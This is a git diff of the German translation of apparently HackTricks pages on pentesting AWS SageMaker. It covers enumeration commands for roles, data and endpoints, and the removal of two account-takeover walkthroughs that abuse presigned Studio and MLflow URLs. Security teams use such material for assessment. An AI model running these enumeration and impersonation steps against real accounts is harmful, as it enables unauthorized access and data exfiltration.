Trainings-Infrastruktur, Orchestrierung, Registries und verwaltete Endpoints zusammenführt. Eine Kompromittierung von SageMaker-Ressourcen ermöglicht typischerweise: - Langfristige IAM-Ausführungsrollen mit weitreichendem Zugriff auf S3, ECR, Secrets Manager oder KMS. - Zugriff auf sensible Datensätze, die in S3, EFS oder in Feature Stores gespeichert sind. -- Netzwerk-Fußfeste innerhalb von VPCs (Studio apps, training jobs, endpoints). -- Hochprivilegierte presigned URLs, die die Console-Authentifizierung umgehen. +- Netzwerk-Footprints innerhalb von VPCs (Studio apps, training jobs, endpoints). +- Hochprivilegierte presigned URLs, die die Konsolen-Authentifizierung umgehen. -Zu verstehen, wie SageMaker aufgebaut ist, ist entscheidend, bevor Sie pivot, persist oder exfiltrate Daten. +Das Verständnis, wie SageMaker aufgebaut ist, ist entscheidend, bevor Sie pivot, persist oder exfiltrate Daten. ## Core Building Blocks -- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Jede Domain hat ein gemeinsames EFS-Dateisystem und eine standardmäßige Ausführungsrolle. +- **Studio Domains & Spaces**: Web-IDE (JupyterLab, Code Editor, RStudio). Jede Domain hat ein gemeinsames EFS-Dateisystem und eine standardmäßige Ausführungsrolle. - **Notebook Instances**: Verwaltete EC2-Instanzen für eigenständige Notebooks; verwenden separate Ausführungsrollen. - **Training / Processing / Transform Jobs**: Ephemere Container, die Code aus ECR und Daten aus S3 ziehen. - **Pipelines & Experiments**: Orchestrierte Workflows, die alle Schritte, Inputs und Outputs beschreiben. -- **Models & Endpoints**: Verpackte Artefakte, die für Inference über HTTPS-Endpoints bereitgestellt werden. -- **Feature Store & Data Wrangler**: Verwaltete Services zur Datenaufbereitung und Feature-Verwaltung. +- **Models & Endpoints**: Verpackte Artefakte, die für Inferenz über HTTPS-Endpunkte bereitgestellt werden. +- **Feature Store & Data Wrangler**: Verwaltete Services für Datenvorbereitung und Feature-Management. - **Autopilot & JumpStart**: Automatisiertes ML und kuratierter Modellkatalog. -- **MLflow Tracking Servers**: Verwaltetes MLflow UI/API mit presigned access tokens. +- **MLflow Tracking Servers**: Verwaltete MLflow UI/API mit presigned access tokens. -Jede Ressource referenziert eine Ausführungsrolle, S3-Standorte, Container-Images und optional VPC/KMS-Konfiguration—erfassen Sie alle während der enumeration. +Jede Ressource referenziert eine Ausführungsrolle, S3-Standorte, Container-Images und optionale VPC-/KMS-Konfiguration — erfassen Sie alle während der Enumeration. -## Konto- & globale Metadaten +## Account & Global Metadata ```bash REGION=us-east-1 # Portfolio status, used when provisioning Studio resources @@ -39,7 +39,7 @@ aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' - # Generic tag sweep across any SageMaker ARN you know aws sagemaker list-tags --resource-arn --region $REGION ``` -Notiere jegliche cross-account trust (execution roles oder S3 buckets mit external principals) und grundlegende Einschränkungen wie service control policies oder SCPs. +Notieren Sie jegliche Cross-Account-Trusts (execution roles oder S3 buckets mit external principals) und grundlegende Einschränkungen wie service control policies (SCPs). ## Studio Domains, Apps & Shared Spaces ```bash @@ -60,23 +60,23 @@ aws sagemaker describe-space --domain-id --space-name --regi aws sagemaker list-studio-lifecycle-configs --region $REGION aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name --region $REGION ``` -Was zu erfassen: +Was zu protokollieren ist: - `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`. -- Eingehängte EFS (`HomeEfsFileSystemId`) und S3-Home-Verzeichnisse. -- Lifecycle-Skripte (enthalten oft Bootstrap-Anmeldeinformationen oder zusätzlichen Push-/Pull-Code). +- Gemountetes EFS (`HomeEfsFileSystemId`) und S3-Home-Verzeichnisse. +- Lifecycle-Skripte (enthalten oft Bootstrap-Zugangsdaten oder zusätzlichen Code zum Pushen/Pullen). > [!TIP] -> Vorgesignierte Studio-URLs können die Authentifizierung umgehen, wenn sie breit vergeben werden. +> Presigned Studio URLs können die Authentifizierung umgehen, wenn sie weitreichend gewährt werden. -## Notebook-Instanzen & Lifecycle-Konfigurationen +## Notebook Instances & Lifecycle Configs ```bash aws sagemaker list-notebook-instances --region $REGION aws sagemaker describe-notebook-instance --notebook-instance-name --region $REGION aws sagemaker list-notebook-instance-lifecycle-configs --region $REGION aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-lifecycle-config-name --region $REGION ``` -Notebook-Metadaten offenbaren: +Notebook-Metadaten geben Aufschluss über: - Ausführungsrolle (`RoleArn`), direkter Internetzugang vs. nur VPC-Modus. - S3-Standorte in `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`. @@ -96,11 +96,11 @@ aws sagemaker describe-transform-job --transform-job-name --region $REGION Prüfen: - `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – welche ECR-Images bereitgestellt werden. -- `InputDataConfig` & `OutputDataConfig` – S3-Buckets, Prefixes und KMS-Schlüssel. -- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – bestimmen die Netzwerk- oder Verschlüsselungs-Konfiguration. -- `HyperParameters` können Umgebungsgeheimnisse oder Connection-Strings leak. +- `InputDataConfig` & `OutputDataConfig` – S3-Buckets, Prefixes und KMS-Keys. +- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – bestimmen Netzwerk- oder Verschlüsselungskonfiguration. +- `HyperParameters` können Umgebungsgeheimnisse oder Connection Strings leak. -## Pipelines, Experimente & Trials +## Pipelines, Experiments & Trials ```bash aws sagemaker list-pipelines --region $REGION aws sagemaker list-pipeline-executions --pipeline-name --region $REGION @@ -110,7 +110,7 @@ aws sagemaker list-experiments --region $REGION aws sagemaker list-trials --experiment-name --region $REGION aws sagemaker list-trial-components --trial-name --region $REGION ``` -Pipeline-Definitionen beschreiben jeden Schritt, zugeordnete Rollen, Container-Images und Umgebungsvariablen. Trial-Komponenten enthalten häufig Trainings-Artefakt-URIs, S3-Logs und Metriken, die auf sensible Datenflüsse hinweisen. +Pipeline-Definitionen beschreiben jeden Schritt, die zugehörigen Rollen, Container-Images und Umgebungsvariablen. Trial-Komponenten enthalten oft URIs von Trainingsartefakten, S3-Logs und Metriken, die auf sensible Datenflüsse hinweisen. ## Modelle, Endpoint-Konfigurationen & bereitgestellte Endpoints ```bash @@ -125,10 +125,10 @@ aws sagemaker describe-endpoint --endpoint-name --region $REGION ``` Fokusbereiche: -- S3-URIs der Model-Artefakte (`PrimaryContainer.ModelDataUrl`) und Inference-Container-Images. -- Konfiguration von Endpoint Data Capture (S3 bucket, KMS) für mögliche Log exfil. -- Multi-model Endpoints, die `S3DataSource` oder `ModelPackage` verwenden (auf cross-account packaging prüfen). -- Netzwerkkonfigurationen und security groups, die an Endpoints angehängt sind. +- Modell-Artefakt S3-URIs (`PrimaryContainer.ModelDataUrl`) und Inference-Container-Images. +- Konfiguration der Endpoint Data Capture (S3 bucket, KMS) für mögliche log exfil. +- Multi-Model-Endpunkte, die `S3DataSource` oder `ModelPackage` verwenden (auf Cross-Account-Packaging prüfen). +- Netzwerk-Konfigurationen und Sicherheitsgruppen, die an Endpoints angehängt sind. ## Feature Store, Data Wrangler & Clarify ```bash @@ -143,9 +143,9 @@ aws sagemaker list-model-monitoring-schedule --region $REGION ``` Sicherheits-Hinweise: -- Online feature stores replizieren Daten zu Kinesis; überprüfe `OnlineStoreConfig.SecurityConfig.KmsKeyId` und VPC. -- Data Wrangler flows enthalten häufig eingebettete JDBC/Redshift-Zugangsdaten oder private Endpunkte. -- Clarify/Model Monitor jobs exportieren Daten nach S3, die möglicherweise weltweit lesbar oder kontenübergreifend zugänglich sind. +- Online feature stores replizieren Daten in Kinesis; prüfen Sie `OnlineStoreConfig.SecurityConfig.KmsKeyId` und die VPC. +- Data Wrangler flows enthalten häufig JDBC/Redshift-Zugangsdaten oder private Endpunkte. +- Clarify/Model Monitor-Jobs exportieren Daten nach S3, die möglicherweise öffentlich lesbar oder kontoübergreifend zugänglich sind. ## MLflow Tracking Servers, Autopilot & JumpStart ```bash @@ -158,14 +158,14 @@ aws sagemaker describe-auto-ml-job --auto-ml-job-name --region $REGION aws sagemaker list-jumpstart-models --region $REGION aws sagemaker list-jumpstart-script-resources --region $REGION ``` -- MLflow tracking servers speichern Experimente und Artefakte; presigned URLs können alles exponieren. -- Autopilot jobs starten mehrere training jobs — enumeriere Outputs nach versteckten Daten. -- JumpStart reference architectures können privilegierte Rollen im Konto bereitstellen. +- MLflow-Tracking-Server speichern Experimente und Artefakte; presigned URLs können alles offenlegen. +- Autopilot-Jobs starten mehrere training jobs — prüfe die Outputs auf versteckte Daten. +- JumpStart reference architectures können privilegierte Rollen im Account bereitstellen. ## IAM & Netzwerküberlegungen -- Ermittle IAM-Policies, die an alle Ausführungsrollen angehängt sind (Studio, notebooks, training jobs, pipelines, endpoints). -- Überprüfe Netzwerkkontexte: subnets, security groups, VPC endpoints. Viele Organisationen isolieren training jobs, vergessen jedoch, ausgehenden Traffic zu beschränken. +- Liste die IAM-Policies auf, die an alle Ausführungsrollen angehängt sind (Studio, notebooks, training jobs, pipelines, endpoints). +- Prüfe Netzwerk-Kontexte: subnets, security groups, VPC endpoints. Viele Organisationen isolieren training jobs, vergessen aber, den ausgehenden Traffic zu beschränken. - Überprüfe S3-Bucket-Policies, die in `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` referenziert werden, auf externen Zugriff. ## Privilege Escalation diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md index 9fa2da666..e4ee02261 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md @@ -2,107 +2,12 @@ {{#include ../../../../banners/hacktricks-training.md}} -## SageMaker Studio - Account Takeover via CreatePresignedDomainUrl (Impersonate Any UserProfile) +## Presigned URLs für SageMaker -### Beschreibung -Eine Identität mit der Berechtigung, `sagemaker:CreatePresignedDomainUrl` auf einem Ziel-`UserProfile` des Studio aufzurufen, kann eine Login-URL erzeugen, die direkt in SageMaker Studio als dieses Profil authentifiziert. Dadurch erhält der Browser des Angreifers eine Studio-Sitzung, die die `ExecutionRole`-Berechtigungen des Profils übernimmt und vollen Zugriff auf das EFS-gespeicherte Home-Verzeichnis und die Apps des Profils gewährt. Weder `iam:PassRole` noch Console-Zugriff sind erforderlich. +Wenn ein Angreifer es schafft, eine presigned URL für eine SageMaker-Ressource zu erhalten, kann er ohne weitere Authentifizierung darauf zugreifen. Die Berechtigungen und das Zugriffsniveau hängen von der Rolle ab, die mit der Ressource verknüpft ist: -### Anforderungen -- Eine SageMaker Studio `Domain` und ein Ziel-`UserProfile` darin. -- Der Angreifer-Principal benötigt `sagemaker:CreatePresignedDomainUrl` auf dem Ziel-`UserProfile` (Ressourcen‑Ebene) oder `*`. - -Minimales Policy-Beispiel (auf ein UserProfile beschränkt): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Action": "sagemaker:CreatePresignedDomainUrl", -"Resource": "arn:aws:sagemaker:::user-profile//" -} -] -} -``` -### Missbrauchsschritte - -1) Enumerate a Studio Domain und UserProfiles, die Sie anvisieren können -```bash -DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text) -aws sagemaker list-user-profiles --domain-id-equals $DOM -TARGET_USER= -``` -2) Generiere eine presigned URL (standardmäßig etwa 5 Minuten gültig) -```bash -aws sagemaker create-presigned-domain-url \ ---domain-id $DOM \ ---user-profile-name $TARGET_USER \ ---query AuthorizedUrl --output text -``` -3) Öffnen Sie die zurückgegebene URL in einem Browser, um sich bei Studio als Zielbenutzer anzumelden. In einem Jupyter-Terminal innerhalb von Studio überprüfen Sie die effektive Identität: -```bash -aws sts get-caller-identity -``` -Hinweise: -- `--landing-uri` kann weggelassen werden. Einige Werte (z. B. `app:JupyterLab:/lab`) können je nach Studio‑Variante/-Version abgelehnt werden; Standardwerte leiten typischerweise zur Studio‑Startseite und dann zu Jupyter weiter. -- Organisationsrichtlinien/VPC-Endpoint-Einschränkungen können den Netzwerkzugriff dennoch blockieren; die Token-Ausstellung erfordert keine Konsolen-Anmeldung oder `iam:PassRole`. - -### Auswirkungen -- Laterale Bewegung und Privilegieneskalation durch das Übernehmen eines beliebigen Studio `UserProfile`, dessen ARN erlaubt ist, wodurch dessen `ExecutionRole` sowie Dateisystem/Apps geerbt werden. - -### Belege (aus einem kontrollierten Test) -- Mit nur `sagemaker:CreatePresignedDomainUrl` auf einem Ziel-`UserProfile` gab die Angreiferrolle erfolgreich eine `AuthorizedUrl` zurück, wie: -``` -https://studio-d-xxxxxxxxxxxx.studio..sagemaker.aws/auth?token=eyJhbGciOi... -``` -- Eine direkte HTTP-Anfrage antwortet mit einer Weiterleitung (HTTP 302) zu Studio, was bestätigt, dass die URL gültig und bis zum Ablauf aktiv ist. - - -## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl - -### Beschreibung -Eine Identität mit der Berechtigung, `sagemaker:CreatePresignedMlflowTrackingServerUrl` für einen Ziel-SageMaker MLflow Tracking Server aufzurufen, kann eine einmalig verwendbare presigned URL erstellen, die sich direkt am verwalteten MLflow UI dieses Servers authentifiziert. Das gewährt denselben Zugriff, den ein legitimer Benutzer auf den Server hätte (Experimente und Runs anzeigen/erstellen sowie Artefakte im S3 artifact store des Servers herunterladen/hochladen), ohne Zugriff auf die Konsole oder `iam:PassRole`. - -### Voraussetzungen -- Ein SageMaker MLflow Tracking Server im Account/der Region sowie dessen Name. -- Der angreifende Principal benötigt `sagemaker:CreatePresignedMlflowTrackingServerUrl` auf der Ziel-MLflow Tracking Server-Ressource (oder `*`). - -Minimales Policy-Beispiel (auf einen Tracking Server beschränkt): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl", -"Resource": "arn:aws:sagemaker:::mlflow-tracking-server/" -} -] -} -``` -### Missbrauchsschritte - -1) MLflow Tracking Servers enumerieren, die du anvisieren kannst, und einen Namen auswählen -```bash -aws sagemaker list-mlflow-tracking-servers \ ---query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}' -TS_NAME= -``` -2) Generiere eine presigned MLflow UI URL (für kurze Zeit gültig) -```bash -aws sagemaker create-presigned-mlflow-tracking-server-url \ ---tracking-server-name "$TS_NAME" \ ---expires-in-seconds 300 \ ---session-expiration-duration-in-seconds 1800 \ ---query AuthorizedUrl --output text -``` -3) Öffnen Sie die zurückgegebene URL in einem Browser, um auf die MLflow UI als authentifizierter Benutzer für diesen Tracking Server zuzugreifen. - -Notes: -- Der Tracking Server muss sich in einem betriebsbereiten Zustand befinden (z. B. `Created/Active`). Befindet er sich noch im Status `Creating`, wird der Aufruf abgelehnt. -- Die presigned URL ist einmalig verwendbar und kurzlebig; erzeugen Sie bei Bedarf eine neue. - -### Auswirkungen -- Direkter Zugriff auf die verwaltete MLflow UI für den anvisierten Tracking Server, wodurch das Anzeigen und Ändern von experiments/runs sowie das Abrufen oder Hochladen von Artefakten, die im konfigurierten S3 artifact store des Servers gespeichert sind, innerhalb der von der Serverkonfiguration durchgesetzten Berechtigungen ermöglicht wird. +{{#ref}} +../../aws-privilege-escalation/aws-sagemaker-privesc/README.md +{{#endref}} {{#include ../../../../banners/hacktricks-training.md}}